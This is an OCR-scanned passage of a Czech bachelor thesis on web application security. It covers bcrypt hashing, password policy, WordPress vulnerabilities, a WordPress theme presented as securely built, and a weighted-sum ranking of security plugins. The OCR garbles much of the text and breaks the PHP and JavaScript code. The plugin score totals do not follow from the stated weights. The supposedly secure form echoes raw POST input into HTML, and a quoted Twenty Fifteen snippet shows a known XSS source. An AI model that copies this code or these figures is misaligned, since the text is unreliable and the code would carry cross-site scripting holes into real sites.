Hlavnim rozdilem oproti prostému kdédovani je ze Sifra berypt uz v zdkladu v sobé
obsahuje stil. Timto se minimalizuje moznost vyvojare tento mechanizmus navrhnout §patné
a zaroven se cely proces zjednodusuje a kazdé heslo automaticky obsahuje nahodnou sul.
Dalsi vyhodou je moznost nastavit pocet iteraci v podstaté rychlost Sifrovani hesla. Toto
V podstaté¢ odstraituje moznost rychlého deSifrovani velkého mnozstvi hesel hrubou
vypocetni silou.

V jazyce PHP implementace berypt hesla miize vypadat nasledovne:
<?php
//tvorba hesla

$hash = password hash ($password, PASSWORD BCRYPT) ;

//ovéfeni hesla
if (password verify(Spassword, S$hash)) {
// Success!

}

else {

// Invalid credentials
}
(PHP manual, 2015)
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4.2 Prevence uzivatela

Pti tvorbé webovych aplikaci je dobré mit na paméti v prvni fadé€ uzivatele, a hlavné
pokud se jedna o bezpeCnost. Protoze pokud vytvorite téméf dokonale zabezpecenou
aplikaci, vzdy do systému vstupuje lidsky faktor v tomto piipad¢ reprezentovan uzivatelem.
Pravé uzivatel voli vlastni heslo a urcuje, komu dovoli do aplikace pfistup. VSechny tyto
operace muzou byt pro aplikaci potenciondln¢ nebezpecné, proto je velmi dulezité

S uzivatelem pracovat a vychovavat ho a tim rapidné zvySovat zabezpeceni aplikace.

Bezpecna hesla

Co Ize povazovat za bezpecné heslo je pomérné relativni pojem. Nicméné podle
organizace pro bezpecnost webu OWASP by heslo mélo obsahovat minimalné 8 znaki a
mélo by obsahovat nékolik ¢islic a specialnich znaki (OWASP, 2015). Toto doporuéeni
prejima vétsina velkych internetovych firem a takto bezpecna hesla na svych webech
vyzaduje.

Konkrétné se bezpecnost hesla rozdéluje do téchto kategorii:

e Délka— Heslo by mélo obsahovat alespon 8 znakt. V kombinaci s komplexitou hesla

vvvvvv
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e Komplexita — Tento parametr uréuje, z jakych znaki se heslo sklada. Heslo muze
obecné pouzivat klasické zékladni znaky anglické abecedy, Cislice 0-9 a specialni
znaky jako dolar, lomitko nebo paragraf (do této skupiny patii také specidlni znaky
riznych abeced jako je napf. azbuka, Nebo ¢eské .,z ale i prosta mezera). Aplikace

by neméla tyto znaky zakazovat, protoZe tvoii vyznamnou ¢ast bezpe¢nosti hesla.

(OWASP, 2015)

Omezovani hesel aplikaci

Omezovani hesel aplikaci je jednoduchy algoritmus implementovany do stranky
obvykle pfi registraci, ktery nedovoli uzivateli zadat heslo nevyhovujici nastavenym
pozadavkim. Tento pfistup mlze vyrazné zvysit zabezpeceni hesel, ale zaroven sebou
piindsi jisté negativni disledky.

Pokud je uzivatel nucen dodrZzovat bezpecnostni kritéria hesla, jako je délka a
komplexnost, ma vétSinou tendenci vymyslet heslo, které je pro n€j méné ptirozené a tim

padem dochazi u uzivatell k CastéjSim obnovam hesel. Dalsim aspektem je, ze uzivatel
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nuceny dodrzovat pozadavek na délku 6 znakt, velké pismeno a ¢islice, v mnoha ptipadech
vymysli heslo napt.: Slovo2015, které je pro né€j snadno zapamatovatelné. Toto heslo spliuje
vSechny pozadavky, jednd se tedy podle algoritmu o silné heslo. Bohuzel toto heslo je ve
skutecnosti velmi slabé, a hlavné¢ snadno odvoditelné, coz ptedstavuje velky problém.
hesla vymyslena slozena ze slovnikovych slov, jelikoz vétSina utok na hesla nejdiive
pouziva slovnikové utoky pro zlepSeni pravdépodobnosti tispéchu. Aplikace by z tohoto
diivodu neméla omezovat pouziti specialnich znaki. Mnoho uzivatelii hesla generuje a pro
jejich spravu pouziva spravce hesel, tyto hesla jsou prakticky neprolomitelna. (Spacek,
2015)

25



5 Bezpecnost WordPressu obecné

WordPress je nejpouzivanéjsi open-source program pro tvorbu webovych stranek na
svéte. Systém WordPress pohani zhruba 25 % svétového webu. (Emil Protalinski, 2015)
Proto je ziejmé, Ze je o n&j velky zajem ze strany ttocnikti. WordPress je ze své podstaty
open-source coZ znamena, ze je vyvijen Sirokou komunitou programatori. Z tohoto plyne,
ze zdrojové kody celého jadra 1 vSech pluginii jsou vefejné dostupné a jednoduSe
prozkoumatelné ptipadnymi uto¢niky. Na druhou stranu, pokud se v kddech projektu objevi
néjaky bezpecnostni problém rychle se o ném dozvi také komunita tvlircti a je velmi rychle
opraven. Z toho divodu je ale nutné pouzivat aktualni verzi, protoze staré¢ verze jsou logicky
neopravované. Nejvétsim  bezpecnostnim  problémem  WordPressu jsou tudiz

neaktualizované weby.

Nejcastéjsi bezpe¢nostni problémy
Zranitelnosti WordPress webl lze rozd¢lit do tfi hlavnich kategorii. Jsou to:
neaktualizované jadro, Spatné nebo zastaralé¢ pluginy a bezpecnostni problémy piimo

Vv Sablonach. Jejich procentualni zastoupeni ve vSech ttocich je zhruba takovéto: (Wright,

2017)

Tabulka 1 - rozviZeni utokii na WordPress

52% Pluginy

37% Jadro
WordPressu

11% Sablony

Zdroj: (Wright, 2017)

Jak bylo jiz nastinéno v predeslé kapitole jednim z nejvaznéjSich bezpecnostnich
problémti WordPressu jsou weby pouzivajici neaktualizovanou verzi. Tyto weby jsou velmi
nachylné na toky na chyby, které jsou tfeba jiz mnoho let opravené a pii aktualni verzi jsou
neskodné. Tento problém hral do nedavné minulosti velkou roli v bezpe¢nosti WordPressu,
protoze mnoha uzivatelli svoje weby neaktualizovala a pouzivala tteba mnoho let staré verze.
Nicméné WordPress od verze 3.7 obsahuje v zakladu automatické aktualizace na pozadi,

takze vétsina webl s touto verzi je jiz pravidelné aktualizovana. (Smitka, 2015)
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stav ceskych WP web v roce 2015

10%

45%

40%

2%

m Aktudlni = Archaicke Meaktualizovansg Lehce aktualni

Obrazek 1 - stav ceskych WP webii v roce 2015

Zdroj: (Smitka, 2015)

Dalsim velkym tématem pro bezpecnost WordPress webli jsou instalované pluginy.
Jelikoz tyto dopliky vytvéreji subjekty tietich stran, samotni tviirci WordPressu na kvalitu
a zabezpeCeni téchto doplnkli nemaji zadny vliv. Proto v mnoha ptipadech dochazi
ke kompromitaci webu prave pies nezabezpeceny plugin. Tyto dopliiky jsou stejné jako celé
jadro aktualizovatelné, a proto jejich zastarala verze muze piispét k bezpe¢nostnimu
problému.

Poslednim bezpec¢nostnim problémem jsou samotné Sablony. Volné dostupné
Sablony jsou vétSinou dobfe zabezpecené, nicméne miize dojit k chybé v zabezpeceni na
stran€ autora a poté je nutné stazenou Sablonu aktualizovat. U placenych Sablon je podpora
viceméné¢ stabilni, avSak u Sablon zdarma je situace o poznani horsi.

Nekteré bezpecnostni problémy byly v minulosti objeveny i u oficidlnich Sablon
dodavanych k ¢isté instalaci WordPressu jako je Twenty Fifteen sablona. U této Sablony byl
nalezen bezpecnostni problém tykajici se nevhodného ziskavani dat z prohlizece uzivatele a

ze zastaralé verze JavaScript pluginu jQuery. (WPScan, 2015)
permalink = "genericon-" + window.location.hash.split ("#')[1];

cssclass = jQuery( '.' + permalink ).attr('class');

Tento zranitelny kod mohl byt vyuZit pro XSS utok.
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6 Prakticka ¢ast

Prakticka ¢ast je rozdé€lena na dvé samostatné casti. V obou ¢astech praktické casti
se budu vénovat redakénimu systému WordPress, a to z divodu obrovského rozsifeni na
svétovém internetu. Dal$im diivodem je i to, Ze tento systém je velmi lehce zranitelny, jak
bylo popséano v posledni kapitole teoretické ¢asti a tento sytém pouzivaji na rozdil tfeba od
statickych stranek, vétSinou nezkuSeni uzivatelé. Kombinaci téchto skutecnosti vznika velmi
velka skupina lehce napadnutelnych webu, a proto je nutné uzivatele seznamovat s riziky ale
I S feSenimi téchto problémi. Prvni ¢ast se zabyva tvorbou spravné zabezpecené Sablony
proti jakymkoli itokiim zvenci. Timto postupem je poukdzano na relativné nizkou obtiznost
1 pro relativné nezkuseného tviirce vlastnich Sablon, avSak budou zde feSeny 1 pokrocilejsi
metody zabezpeceni.

V dalsi ¢asti jsou porovnavany bezpecnostni pluginy pomoci vicekriteridlni analyzy
variant. Vystupem této ¢asti by mél byt doporuceny vybér pluginii pro zabezpeceni

jakéhokoli WordPress webu.
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6.1 Bezpecna WordPress Sablona

V prvni ¢asti je vytvorena Sablona pro redakéni systém WordPress. V ramci této
bakalarské prace se tvorba vlastni Sablony zamétuje hlavné na bezpe€nostni problémy, které
pii tomto procesu mohou vzniknout. Tyto problémy jsou rozdéleny do tfi hlavnich Casti:
Zobrazeni obsahu, oSetfeni uzivatelskych dat a problematika zabezpeceni AJAXového

pozadavku.

Zobrazeni obsahu
Hlavni ¢asti kazdého webu tvoifeného WordPressem je cyklus zobrazujici obsah
webu. | u takhle jednoduchého tikolu mize dojit k bezpe¢nostnim problémutm. Nize uvedeny

kod demonstruje, jak I1ze tento kol vytesit spravné.

<?php if ( have posts() ) : while ( have posts() ) : the post();
?>
<div class="jumbotron">
<hl><a href="<?php the permalink(); ?>" rel="bookmark"
title="Permanent Link to <?php the title attribute(); ?>"><?php
the_title(); ?></a></hl>
<p><?php the time('F jS, Y'); ?> by <?php
the author posts link(); ?2></p>
<div class="entry">
<?php the excerpt(); 2>
</div>
</div>
<?php endwhile; else : ?>
<p><?php e( 'Sorry, no posts matched your criteria.' ); ?></p>

<?php endif; ?>

Pti ziskdvani dat z databdze pro ndsledné zobrazeni je nutné vzdy pouzivat
WordPress funkce, které jsou jiz dokonale oSetfené proti vSem moznym utokiim. Na druhou
stranu nedoporuc¢enym zplisobem je vytvaret vlastni SQL dotazy, protoze u nich napf. mize

hrozit nedokonalé oSetfeni vstupti.
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Uzivatelsky formular

Dal$im problémem, kterému se vénuje tato prace jsou uzivatelské formulaie
zobrazované na strankach. Pro tento ptipad byl vytvofen jednoduchy formuléf pro piidani

prispeévku pfimo navstévnikem stranek.

Formular

<div class="row add-post">
<h2>Add post to the site:</h2>

<?php if ( $post error != '' ) { ?>
<span class="error"><?php echo $post error; ?></span>

<?php } ?>
<form action="" id="add-post-form" method="POST">

<div class="form-group">
<label for="postTitle">Post title: </label>
<input type="text" class="form-control" name="post-title"
id="postTitle" value="<?php if ( isset( $ POST['post-title'] ) )
echo $ POST['post-title']; ?>" />

</div>

<div class="form-group">

<label for="postContent">Post content: </label>

<textarea name="post-content" class="form-control"

id="post-content" rows="5" cols="10"><?php if ( isset(

$_POST['post—content'] ) ) { if ( function exists( 'stripslashes'
) ) { echo stripslashes/( $_POST['postContent'] y; } else { echo
$ POST['post-content']l; } } ?></textarea>

</div>

<input type="hidden" name="posted" id="posted" value="true" />

<?php wp nonce field( 'post nonce', 'post nonce field' ); ?>
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<button type="submit" class="btn btn-primary">Add
post</button>

</form>
<br><br>

</div>

V formulafi se nachazi funkce wp_nonce_field, ktera piida do html kodu skryté pole
s vygenerovanym tokenem. Tento jednorazovy token je vygenerovan WordPressem a
zajiStuje sparovani pozadavku s klientem ktery si ho vyzadal. Pfedejde se tak
mnohonasobnym nebo faleSnym pozadavkim. Tato funkce je jednim z ptikladi, kde lze

vidét, jak je WordPress pii spravném pouzivani pfipraven na nejriznéjsi utoky. V tomto

ptipadé na CSFR ttok.

Ovéreni odeslaného formulare

if ( isset( $ POST['posted'] ) && isset(
$ POST['post nonce field'] ) && wp verify nonce (
$ POST['post nonce field'], 'post nonce' )) {
if ( trim( $ _POST['post-title'] ) === "' ) {
$post error = 'Please enter a post title.';
$has error = true;
}
if ( trim( $ POST['post-content'] ) === '' ) {
Spost error = 'Please enter a post content.';
$has error = true;
}
if (Shas error != true) {

$post_data = array(
'post _title' => sanitize title( $ POST['post-title'] ),
'post content' => sanitize text field( $ POST['post-

content'] ),
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'post _type' => 'post',
'post category' => array(2),
'post status' => 'publish'

) ;

$post id = wp insert post( Spost data );

if ($post_id) {
wp redirect ( get permalink($Spost id) );

exit;

Jelikoz pro tento piipad WordPress nenabizi hotovou funkéni sadu, formulafi byl
vytvoren prakticky v ¢istém PHP. V tomto ptipad¢ je tedy pro bezpecnost aplikace klicové,
spravné oSetftit jednotlivé uzivatelské vstupy, aby nedoslo k bezpe¢nostnimu problému. Toto

je provedeno pomoci funkci sanitize_title a sanitize_text field.

AJAX

Poslednim, ale neméné dalezitym okruhem zabezpecovanim WordPress stranek je
zpracovani AJAXového pozadavku. U tohoto typu tkolu je velké riziko kompromitace dat
naptiklad pomoci XSS typu utoku. Nastésti v tomto piipadé na rozdil od uzivatelskych
formulait WordPress nabizi standardizovany postup pro feSeni téchto uloh. Stejné jako
v prvnim piikladu je nutné tyto funkce vyuzit, aby nedoslo k vytvoieni bezpecnostniho
problému. Pro demonstraci tohoto postupu byl vytvoien AJAXovy pozadavek pro ziskavani

aktualnich ¢lanku bez nutnosti aktualizovat celou stranku.

wvwr

JavaScript ¢ast bézici v prohliZeci
jQuery (document) .ready ( function () {
JjQuery('.news').on('click', 'a.load-news', function(e) {
e.preventDefault () ;
var category = jQuery(this).data('category'):;
var nonce = jQuery(this) .data('nonce');

JjQuery.ajax ({
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url : news ajax.ajax url,

type : 'post',

data : {
action: 'load news',
category: category,
nonce: nonce

by
success : function( response ) {

jQuery ('.news') .html (response) ;

P
JQuery (this) .hide () ;

Serverova PHP ¢ast

<?php
add action( 'init', 'script enqueuer' );
function script enqueuer () {

wp_ register script( "news-ajax-script",
get template directory uri().'/news-ajax-script.js’',

array ('jquery') );

wp_ localize script( 'news-ajax-script', 'news ajax',

'ajax url' => admin url( 'admin-ajax.php' )));
wp_enqueue script ( 'jquery' );
wp_enqueue script ( 'news-ajax-script' );

add action("wp ajax load news", "load news");

function load news () {
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if ( !wp verify nonce ( $_REQUEST['nonce'], "load news nonce"))

exit ("Token 1s incorrect");
}
$the query = new WP Query( array( 'category name' =>

$ REQUEST ["category"] ) );

if ( S$the query->have posts() ) {
echo '<div class="col-1g-6">"';
while ( $the_query—>have_posts() ) |
$the query->the post();
echo '<h4>' . get the title() . '</h4>';
echo '<p>' . get the excerpt() . '</p>';
}
echo '</div>"';
wp reset postdatal();
} else {
echo "No news found";

}
die();

U serverové casti kodu byl znovu pouzit nonce token pro ovéfeni autenticity

pozadavku.

Shrnuti tvorby sablony
V prvni ¢asti byla vytvoiena spravné zabezpecena WordPress Sablona, se zamétenim

7w

na ti1 zakladni Casti. Tyto postupy jsou pomérné€ jednoduché a vyuziti vestavénych funkci je

mnohdy jednodussi nez tvorba vlastniho fesSeni, avSak s bonusem garantované bezpecnosti.
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6.2 Vicekriterialni analyza bezpecnostnich pluginu

Druhé ¢ast praktické ¢asti bakalatské prace se bude vénovat pluginim, které jsou

velmi dilezité pro zlepSeni obrany proti utoktim.

Vybér Kritérii
Bezpecnostni pluginy pro WordPress obsahuji né€kolik typi funkci. Obecné by se
dalo tyto funkce rozdélit do dvou zakladnich kategorii: pasivni a aktivni funkce. Mezi
pasivni funkce se fadi naptiklad rizné formy scanovani souborti webu, zlepseni bezpecnosti
ptihlasovani do administrace nebo audity bezpecnosti hesel. Aktivni funkce zahrnuji
prevazné sledovani provozu na strance v redlném case a blokovani ptipadnych uto¢niki.
Na zakladé téchto funkci byly stanoveny dulezité parametry funkénosti plugint pro

jejich vybér i nasledné srovnavani.

Tabulka 2 - parametry pluginii

Malware scan

Zabezpeceni WP piihlasovani
Login log

Firewall

IP blocking

LifeTraffic monitoring

Zdroj: vlastni zpracovani

Malware scan

Tato funkce slouzi k zjistovani Skod, pokud jiz doslo k priiniku do napadené stranky.
Malware scan vétSinou kontroluje soubory jadra WordPressu a pluginii a porovnava je
s Cistou verzi na oficidlnim repositafi. Dals$i moZnosti je jednodussi verze, kde dochdzi pouze

Kk hledani znamych skodlivych kodl na napadenych strankach.

Zabezpeceni WP prihlaSovani

Zabezpeceni WordPress ptihlasovani je velmi dilezitou soucasti bezpecnosti
WordPress webil, protoze velka ¢ast utokt ptichazi pouze na piihlaSovaci stranku, kde se
Skodlivé scripty snazi uhodnout heslo administratora webu, a tak ziskat pfistup do
administrace. Toto mizou bezpecnostni pluginy fesit rizné napiiklad je mozné omezit

neuspésné pokusy o piihlaseni a poté uto¢nika zablokovat, nebo lze na piihlasovaci
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obrazovku ptidat bezpecnostni kod pro opsani. Dal§i moznosti je vynuceni pouzivani

silngjSich hesel pifimo v administraci a timto zabranit vétSin¢ utokd.

Login log

Tato funkce vsobé shrnuje zaznamenavani urCitych aktivit, které probihaji
Vv administraci. Hlavni zaznamendvanou aktivitou je ptihlaSovani do uzivatelskych ucti.
V tomto procesu lze zaznamenat napiiklad IP adresu piihlaSovaného uzivatele podle které

je mozné zpétné identifikovat proniknuti ito¢nika so systému.

Firewall

Firewall se stara o ochranu pted riznymi typy utoka zvenci webu. To znamena, Ze
pro ptistup na web je nutné, aby pozadavek splitoval seznam pozadavk firewallu. Pokud je
nespliluje je okamzité zablokovan. Tyto pravidla jdou vétSinou upravovat podle potieby,

nebo pouzivat komunitné vytvorené seznamy.

IP blocking

Funkce IP blokovani je jednou ze zakladnich funkci bezpecnostnich plugint. Plugin
vétSinou umoznuje piidavat IP adresy, které poté maji zablokovan pfistup na web. Tyto
seznamy blokovanych adres mohou fungovat jako whitelisty, coZ znamena Ze jen IP adresy
mayji ptistup na web, nebo naopak jako blacklisty coz je Castéjsi ptistup. Blacklisty zamezi

pristupu na web jen obsazenym IP adresam.

LifeTraffic monitoring

Posledni testovanou funkci bezpec¢nostnich plugint je monitoring provozu na webu.
Tato funkce zobrazuje vSechny pozadavky sméfujici na web. Z tohoto lze vycist z jaké
lokality IP adresy pfistupuji k jakym URL adresam. VétSinou plugin nabizi i jednoduché

rucni zablokovani IP adresy ve spolupraci s funkei IP blokovani.
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Vybér plugini
Na zéklad¢ zvolenych parametrd byly nalezeny vhodné pluginy, které by jim
vyhovovaly a zaroven byly dostate¢né rozsifené. Neméné dulezitym aspektem vybéru

plugint byla jejich Casta aktualizace a dobra podpora.

Ekonomicka stranka pouzivani plugini
Vsechny vybrané pluginy jsou ve své zakladni verzi zcela zdarma 1 pro komercni
pouziti, avSak vétSina z nich nabizi nékteré funkce po zaplaceni poplatku. Tyto funkce vSak
nejsou pro dobé zabezpeceni webu nutné jde vétSinou o zvyseni komfortu pouzivani.
Pokud vSak ekonomickd situace konkrétni stranky dovoluje tento poplatek zaplatit

1ze doporucit pouziti placenych verzi.

Tabulka 3 - vybrané pluginy pro srovnani

WordFence

Sucuri security

Loginizer

iThemes secrity

BulletProof security

All In One WP Security & Firewall
Zdroj: vlastni zpracovani

Testovani

Pluginy byly nainstalovany na testovaci lokalni server s ¢istou instalaci WordPressu.
V tomto prostfedi byly nezavisle otestovany jejich funkce, zejména schopnost zamezit
nezadoucim utokim. Nize lze nalézt popis jednotlivych plugint z hlediska jejich funk¢nosti

a principu fungovani.

WordFence

Tento plugin ma vice jak jeden milion stazeni a je jednim z nejznaméjSich
bezpecnostnich pluginti pro redakéni systém WordPress. Tento plugin obsahuje predev§im
velmi hluboky server scan, ktery vSechny soubory v instalaci porovnava s ¢istym
repositafem WordPressu. Toto funguje pro soubory jadra i pro soubory pluginti. Timto
postupem Ize jednoduse odhalit infikované soubory a ptipadné je obnovit do piivodni verze.

Tuto funkci lze dokonce provadét automaticky a timto uzivatele upozornit na piipadny
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bezpecnostni problém. Dalsi funkci tohoto pluginu je velmi pokroc¢ily monitoring provozu
na webu. V tomto rezimu plugin ukazuje, jaké pozadavky v realném Case mifi na web a
jakou URL se snazi nacist. Timto 1ze velmi snadno zjistit jaké skripty Gto¢nici pozaduji a
podle toho je odstranit. Tyto IP adresy, které jsou podezielé lze i rovnou v realném cCase
zablokovat, a tak jim zamezit pfistup na web. Posledni velkou funkci pluginu WordFence je
firewall. Tato funkce podle seznamu pravidel zamezuje v pfistupu IP adresam, které tyto
pravidla nespliiuji. Lze samoziejm¢ vytvofit vlastni pravidla nebo pouzit komunitni.
Firewall mtze tfeba zamezit velmi ¢astym pozadavkim na web které maji za cil zahltit

server, nebo velmi ¢astému zkouseni hesel do administrace.

Sucuri secirity

Tento plugin se zamétuje hlavné na odhalovani bezpecnostnich problémi a nasledny
audit webu po napadeni. Scanovani webu otestuje stanky piistupné vetejnosti z hlediska
pfitomnosti Skodlivych koda vloZenych utoénikem. Toto testovani neni zdaleka tak pfesné
jako scanovani vSech soubort na FTP, ale v praxi odhali vétSinu znamych Skodlivych kodu.
Dale tento plugin umi projit nékolik databazi zablokovanych webt velkych spole¢nosti jako
je Gooogle nebo McAffe a upozornit na to uzivatele. Zajimavou funkci je firewall, ktery
funguje na principu ovéfovani pozadavkl ptes cloud proxi spolecnosti Sucuri. Timto lze
odfiltrovat vétsinu nezadoucich pozadavki a pokusi o proniknuti ochranou. Plugin se také
hodné¢ zaméfuje na prevenci jesté, nez dojde na nakazeni webu malwarem. Tyto funkce
odhali Spatna nastaveni napt. pfistupovych prav k soubortim, nebo obecné problémy

s WordPressem jako je neaktualni verze nebo vychozi prefix databazovych tabulek.

Loginizer

Hlavnim zamétfenim pluginu Loginizer, jak jiz nazev miiZe napovidat, je zesileni
ochrany ptihlasovani do WordPressu. Jeho dalsi funkéni vybava je omezend, ale ochrana
piihlaSovani je zde feSena velmi dobte. Hlavni funkci je ochrana ptihlasovani proti utoktim
hrubou silou, kdy uto¢nik zkousi riizna kombinace znamych hesel a timto se snazi piihlasit
do administrace. V tomto plugini lze nastavit po kolika pokusech o ptihlaseni bude takovyto
uzivatel zablokovan. Dale zde lze vytvaret blacklisty a whitelisty IP adres které mizou
pfistupovat na ptihlasovaci stranku, coZ také velmi posili bezpe¢nost pfihlasovani. VSechna
ptihlaseni uzivatelii i nezdatrené pokusy se ukladaji do pfehledného logu kde je uzivatel mize

pozdéji nalézt.
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iThemes secrity

Tento plugin v sobé zahrnuje pies 30 zpisobu, jak zvysit bezpe¢nost stranky. Patii
mezi né¢ napiiklad dvou faktorové autentizace pro ptihlaSovani, kterd velmi pfispéje
K bezpecnosti webu 1 pii uniku administratorskych hesel. Dale plugin nabizi logovani
veSkeré aktivity uzivateli administrace. Timto lze jednoduSe zjistit jaky uzivatel byl
kompromitovan uto¢nikem. Dale obsahuje naptiklad vynuceni zmény hesel uzivatelti po

ur¢ené dobé&, nebo zabezpeceni formulaiti pomoci captcha kodu.

BulletProof security

Tento plugin je uz i po strance uzivatelského rozhrani jednoznacné nejslabsi
z testovanych plugint. Ale i po strance funkcnosti je nejslabsi, obsahuje jen velmi zakladni
funkce pro zvyseni bezpecnosti WordPressu pomoci zakézani ptistupu do nekterych slozek
a zesilenim ochrany .htaccess souboru. Avsak proti sofistikovanéjsim utoktim nema Sanci

dostate¢né ochranit webovou stranku.

All In One WP Security & Firewall

Tento plugin se snazi pfinést uzivateli kompletni ochranu v jednom baliku. Praveé
proto je i jeho funk¢ni vybava velmi Siroka. Avsak ani kvalitou funkei tomuto pluginu nelze
mnoho vytknout. Plugin obsahuje v§echny moZzné funkce od pfehledu nastaveni WordPressu
a webového serveru pres malware scan po firewall a kompletni zabezpeceni uzivatelskych
uctd. Zajimavou funkci je oproti dal§im testovanym pluginim naptiklad ochrana proti spamu
a nevyzadanym zpravam, nebo vestavéna podpora WHOIS kde Ize jednoduse zjistit vice
informaci o podezielé IP adrese a na zéklad¢ toho ji ptipadné zablokovat ptistup na web.
Velkou prednosti tohoto pluginu je uzivatelské rozhrani, které je ptehledné i pro
nezkusené¢ho uZivatele neznalého bezpe¢nostnich nastaveni. Plugin obsahuje i1 jakysi
ukazatel skore zabezpeceni webu, takze pokud uzivatel zlepSuje nastaveni zabezpeceni je

odménén lepsim skore.
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Srovnani

Vybrané pluginy byly podle zvolenych kritérii porovnany pomoci metody vazeného
souctu. Tato metoda byla vybrana z divodu velké ptesnosti jejich vysledku. Pro tuto metodu
je nutné nejdiive stanovit vahy jednotlivych parametri. Vahy jsou stanoveny pomoci
bodovaci metody na stupnici 0-10 bodt. Déle jsou vahy normalizovany pro pozdéjsi pouZiti

Vv metodé vazeného souctu.

Tabulka 4 - Bodové hodnocent kritérii

Nazev Body Normalizace
Malware scan 5 0,26
Zabezpeceni WP 4 0,21
prihlasovani

Login log 2 0,11

Firewall 3 0,16

IP blocking 4 0,21
LifeTraffic monitoring 1 0,05

Zdroj: vlastni zpracovani

Dals$im krokem bylo obodovani vSech pluginti pomoci stejné stupnice jako ktera byla

pouzita pii ohodnocovani kritérii. Hodnoceni bylo udéleno podle vysledki testovaci faze.

Tabulka 5 - Bodové ohodnoceni vybranych pluginii

Malware | Zabezpeceni Login | Firewall IP LifeTraffic
scan WP log blocking | monitoring
ptihlasovani

WordFence 5 1 2 4 5 5

Sucuri 4 1 5 2 1 0

security

Loginizer 0 5 4 0 3 0

iThemes 3 4 2 2 4 0

secrity

BulletProof 0 4 3 0 1 0

security

All In One 4 5 4 3 4 0

WP Security

& Firewall

Zdroj: vlastni zpracovani
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Bodové hodnoceni bylo nutné kone¢né piepocitat metodou vazeného souétu a po

vypocitani vektoru uzitku z normalizovanych vah bylo stanoveno konecné potadi plugini.

Tabulka 6 - Zhodnoceni pluginii pomoci vizeného souctu

Malware | Zabezpeceni | Login | Firewall | IP LifeTraffic
scan WP log blocking | monitoring
prihlasovani

WordFence |1 0,2 0,4 0,8 1 1 3,68
Sucuri 0,8 0,2 1 0,4 0,2 0 2,32
security
Loginizer 0 1 0,8 0 0,6 0 2,11
iThemes 0,6 0,8 0,4 0,4 0,8 0 3,00
secrity
BulletProof |0 0,8 0,6 0 0,2 0 1,37
security
AllInOne | 0,8 1 0,8 0,6 0,8 0 3,84
WP Security
& Firewall

0,26 0,21 0,11 |0,16 0,21 0,05

Zdroj: vlastni zpracovani

Tabulka 7 - Konecné poradi srovnavanych pluginii

Poradi | Nazev

All In One WP Security & Firewall
WordFence

iThemes secrity

Sucuri security

Loginizer

6. BulletProof security

Zdroj: vlastni zpracovani

g ~w N e
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Zhodnoceni

Jako prvni se v testu umistil plugin All In One WP Security & Firewall tento plugin
je velmi vSestrannym nastrojem pro zabezpeCovani WordPress webil, obsahuje vétSinu
pozadovanych testovanych funkci, a to ve skvélé kvalité. Tento plugin lze proto viele
doporucit jako kompletni néastroj pro zabezpeceni jakéhokoli WordPress webu.

Na dalsi pficce se umistil plugin WordFence tento plugin na prvni misto ztratil jen
nepatrné mnozstvi bodi, a proto jej lze také povazovat za Spickovy néstroj pro ochranu
stranek. Plugin je vyborné technicky zpracovany, a navic obsahuje funkci Live monitoringu,
kterou ani prvni umistény plugin nenabizi.

Na tietim misté skoncil plugin iThemes secrity tento plugin neobsahuje celou sadu
funkei jako prvni dva, proto he nelze zcela doporucit.

Na dal$im misté¢ se umistil plugin Sucuri security tento plugin je velmi dobry
Vv prubézném kontrolovani stavu webu v blacklistech riiznych bezpecnostnich firem, dale
dobte odhaluje skodlivé kody pii zobrazovani webu. Tyto véci déla velmi dobfie, ale
z ditvodu absence dalSich funkei ho téz nelze doporucit jako jediny bezpecnostni plugin.

Piedposledni misto patii pluginu Lognizer tento plugin je velmi tzce specializovany
na ochranéni ptihlaSovani do administrace. Dalsi funkce neobsahuje, coz z n¢j ale €ini
idedlniho kandidata pro doplnéni funkcionality nékterého z univerzalnéjsich plugint. V této
kombinaci mize velmi vyrazné zvysit bezpecnost webu.

Posledni skonc¢il plugin BulletProof security tento plugin je velmi slaby, co se tyka
funkcnosti 1 kvality jednotlivych funkci. Navic uzivatelské rozhrani tohoto pluginu
nespliluje ani zékladni kvality pro jednoduché ovladani nezkuSenym uZivatelem. Z téchto
davodt nelze tento plugin v Zadném piipad¢ doporucit.

Mnohem lepsi volbou je sdhnout po nékterém z prvnich dvou plugind. Idealné pak
doplnit nékterou schazejici vlastnost specializovanym pluginem. Timto postupem bude

garantovana bezpecnost jakéhokoli WordPress webu.
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[ Zavér

V teoretické ¢asti byly popsany tutoky na webové stranky, které maji v soucasnosti
nejvetsi podil v provedenych Gtocich na webové aplikace. Mezi tyto popisované utoky patii
SQL Injection, Cross Site Scripting a JavaScript Hijacking. U vSech téchto typa utokt byl
popsan zakladni princip fungovani a zaroven byl uvedena praktickéd ukazka provedeni utoku.

V dalsi c¢asti byla popsana problematika autentizace uzivateli na webovych
strankach. Toto bylo rozpracovano zejména z pohledu vyvojaie, to znamena, ze byly
popsany Sifrovaci algoritmy a moZnosti implementace piihlasovani pomoci sluZeb tretich
stran. Autentifikace byla popsand i z pohledu uZzivatele hlavné¢ z hlediska vybéru spravnych
hesel podle jejich bezpecnosti.

V posledni casti bylo zpracovano téma bezpecnosti nejpouzivanéjsiho redakéniho
systému WordPress. Zde byly popsany nejcastéjsi bezpecnostni problémy tohoto systému.
Jako nejvétsi byly identifikovany tyto problémy: neaktualizovany systém, nezabezpecené
pluginy a bezpecnostni problémy Sablon.

Z divodu rozsifenosti WordPress webii na svétovém internetu se prakticka cast
vénovala pravé tomuto systému. V prvni ¢asti byla vytvofena Sablona zabezpecena zejména
oproti utokiim na uzivatelské formulafe a AJAXové pozadavky. Zde bylo prakticky
provedeno nékolik jednoduchych krokd pro zvySeni zabezpeceni vlastnich WordPress
Sablon pomoci zakladnich bezpecnostnich funkci systému.

Druha ¢ast praktické Casti se vénovala testovanim nékolika bezpecnostnich pluginti
a jejich néslednému porovnani z hlediska otestované funkéni vybavy. Pro testovany byly
vybrany nejrozsifenéj$i pluginy mezi uzivateli systému. Dale byla stanovena kritéria
hodnoceni, podle kterych byly pluginy srovnavany. Tyto kritéria byla vybrdna podle

Po dikladném otestovani pluginii a jejich nasledném srovnani pomoci metody
vazen¢ho souctu, byly pluginy srovnany podle jejich vysledkt. Timto zptisobem byl vybran

vitézny plugin, ktery je mozno doporucit pro kompletni zabezpeceni WordPress webu.
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